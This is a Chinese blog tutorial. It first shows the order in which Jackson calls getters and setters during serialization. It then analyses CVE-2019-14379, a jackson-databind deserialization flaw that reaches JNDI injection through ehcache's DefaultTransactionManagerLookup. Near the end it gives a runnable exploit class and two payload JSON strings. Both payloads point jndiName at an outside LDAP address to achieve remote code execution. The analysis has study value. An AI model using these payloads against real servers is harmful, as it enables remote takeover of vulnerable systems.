Jackson 是当前用的比较广泛的,用来序列化和反序列化 json 的 Java 的开源框架。Jackson 社 区相对比较活跃,更新速度也比较快, 从 Github 中的统计来看,Jackson 是最流行的 json 解析器之一 。今天给大家介绍jackson知识点序列化和反序列化的时候,setName和getName调用顺序:
Student.java:
package com.test.JackSonTest;
public class Student{
private String name;
private Integer age;
private Teacher teacher;
public Student(){
System.out.println("student构造方法被调用");
};
public String getName() {
System.out.println(11111);
return name;
}
public void setName(String name) {
System.out.println(2222);
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public Teacher getTeacher() {
return teacher;
}
public void setTeacher(Teacher teacher) {
this.teacher = teacher;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}
在setName和getName处,新增输出语句:
调用测试类:
jackson序列化和反序列化:
@Test
public void test2() throws IOException {
//序列化 对象转json字符串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串时,在值上打印出对象类型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字符串转对象
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
输出结果:
student构造方法被调用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
2222
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法
CVE-2019-14379漏洞分析:
影响jackson到2.9.9.1:
这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:
先安装漏洞环境依赖:
pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>
单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!
反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:
进入类:
找到这段代码:
public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
}
}
获取jndiName的值,然后设置jndiName:
继续看这个类的其他方法:
public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}
定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到
this.defaultJndiSelector的来源:
private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
发现defaultJndiSelector实例化了GenericJndiSelector
这个等下要用到,这个先标记下.
继续看这个类的其他方法:getTransactionManager():
代码如下:
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock();
try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
}
return this.selector.getTransactionManager();
}
跟进去this.lookupTransactionManager():
其中
Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;
获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:
跟进去:
public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
}
return this.transactionManager;
}
调用this.doLookup()方法:
跟进去:
跟进到了Selector类,发现这是个抽象类:
以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
跟进去看看:
快速找doLookup的具体实现:
把代码搞出来:
protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
}
try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}
发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:
Object jndiObject = initialContext.lookup(this.getJndiName());
至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:
构造exp:
package com.test.JackSonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;
import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;
public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}
这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次
运行代码:
关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json
浅蓝提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
这边执行提示我json格式错误...
真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..
漏洞分析参考文章:
https://b1ue.cn/archives/189.html
以上就是jackjson的使用及CVE-2019-14379漏洞分析的详细内容,更多关于jackjson CVE-2019-14379漏洞的资料请关注编程网其它相关文章!